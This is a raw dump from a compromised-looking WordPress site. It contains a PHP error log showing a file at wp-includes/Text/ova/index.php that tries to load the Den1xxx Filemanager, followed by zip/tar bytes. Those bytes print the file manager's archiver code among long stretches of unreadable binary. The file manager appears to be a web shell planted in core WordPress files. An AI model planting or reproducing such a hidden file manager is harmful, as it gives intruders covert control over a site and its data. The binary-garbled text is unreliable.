[30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 ova/ova.zip000064400001055375150561075220006665 0ustar00PK j[F\ Diff.php.php.tar.gznu[[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:PKj[][7[7 index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKj[_}o ova.tar.gznu[}cWu0 %WJ^G3iFhFY'Iz4=Y/`?աn%$`L -15oyUefv]Js=sν]Z[O$ykm;ntt/rxsrvp9Ɉz ;?g'>=#5KOI1o[|ɓ7N0߯y}婿<1}ĕvo;g~?,_u_>oafuq|]p Ϸ^vVɟG> ٞ|_؈/~8sO >ĕo7}ǹ|奫xVoI>}m'׾>_O<*\i[ǯbW<=۫_?&'mWBe UKo{)n{]o~+ \;swj,>x[_\Rfn}ߥg'<誇y}'o{)˟|<3Wԙ+C ~_.y K+'^/\ 9?zӹjz}~ _"y^oy ϟ?l~y_{=?.~z?ŧ?`zg-lzwjm?u5lƿ'̫n uD_7wݰD-~O9N^g<R}[>}Z}u y?5Y{>ż֢7,*TO~/o8^|e'_: ׻/9#/|#o)}ſؾ2f+$_ oW>?}39{=&C?~~G sɫN~eߜ|aMm _ۻyz|1/~X ֻ?3mz5׿缔 {W~;DةOz^<=g^ܿy|۷W_y/|}O { 